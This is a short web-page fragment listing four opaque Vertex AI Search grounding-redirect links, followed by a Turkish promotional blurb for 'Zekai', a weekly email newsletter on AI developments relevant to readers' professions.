- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQF9qCyZBZZExAau1xsMNd4mrhBoX5ozW0q23b8qXQuF-0Hl4gOo3gzEpKj1V2CRE6QaKmB2qeki7D1fTbetsOFUO8GJvmy8VtAC9-JtBagxnyBDn_3iXGPZrIwz5YoaCfjvrB-Zag1hQw==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHJ_neur9vfzJq6YEvkH9Efdncnm5olsI6bcHWcUpC3GvFu4zJGUKTjYw3-NeEo1SINK0hKwNJXrAZmgC5wkJZ3VYkNEMdptV9zdI4zGM1K9b5z_p1e-6KVChAY-7xqBSNBX3hzyAJ5ma6ylnUfRu-g2-am99nhvmd66Pdyy-EarQ==
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQHMoes-7OoBxRvZ_6Z4pitRHjTiwvuQo91JvohbdfQvRVsPuC8Imf9ZBlfQB_CoHyBKn7ayuSucIJx94GFN51pPffUsb5hpLIuFvFfhhoPWFabZYk4oZOej11wCpCnzm5PvdofwO-FQZiLW79opu3PdPu_PTnkTdJQ=
- https://vertexaisearch.cloud.google.com/grounding-api-redirect/AUZIYQErhjUUH3AgBmnCx0KO2d5bpfhEvzHqtb1ZJftE4XWQ1B39WD4NmAKCsY0kmH6I4O0AOvlj-yZ5GOn4vV1PUfLY8jqqenRLc4OLmVasYzlC30CgInTOFNHTugkZKj4oNX5miMFfmuKC2Biai6IOegO3WgQETdsyM4KGt29nU5r4IDXqKqOe
Google'da önce Zekai'yi gör
mesleğiniz için haftalık yapay zekâ bülteni
Haftada tek e-posta: mesleğinizi gerçekten etkileyen yapay zekâ gelişmeleri — araçlar, fırsatlar ve yapmanız gerekenler.
